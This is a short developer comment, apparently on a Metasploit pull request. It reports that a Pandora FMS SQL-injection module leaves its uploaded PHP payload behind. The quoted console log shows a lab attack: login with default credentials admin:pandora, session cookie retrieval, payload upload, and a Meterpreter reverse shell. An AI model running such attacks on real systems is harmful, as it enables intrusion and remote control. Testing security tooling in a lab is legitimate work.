It's not removing the uploaded file, even after exploitation being successful :

```
msf exploit(pandorafms_sqli) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.137:80 - Attempting to authenticate using (admin:pandora)
[*] 192.168.172.137:80 - Successfully authenticated!
[*] 192.168.172.137:80 - Attempting to retrieve session cookie
[*] 192.168.172.137:80 - Successfully retrieved session cookie: PHPSESSID=k0u5e0fn8k3rdm0s3mevb6stk2;
[*] 192.168.172.137:80 - Attempting to upload payload
[*] 192.168.172.137:80 - Successfully uploaded payload
[*] Sending stage (39848 bytes) to 192.168.172.137
[*] Meterpreter session 4 opened (192.168.172.1:4444 -> 192.168.172.137:33148) at 2014-03-28 18:06:50 -0500
[*] 192.168.172.137:80 - Cleaning script remnants
[-] 192.168.172.137:80 - Could not identify file manager form!
[!] 192.168.172.137:80 - Failed to remove tjcqynwI.php

meterpreter > 
```

(just saying, I'm using the livecd version)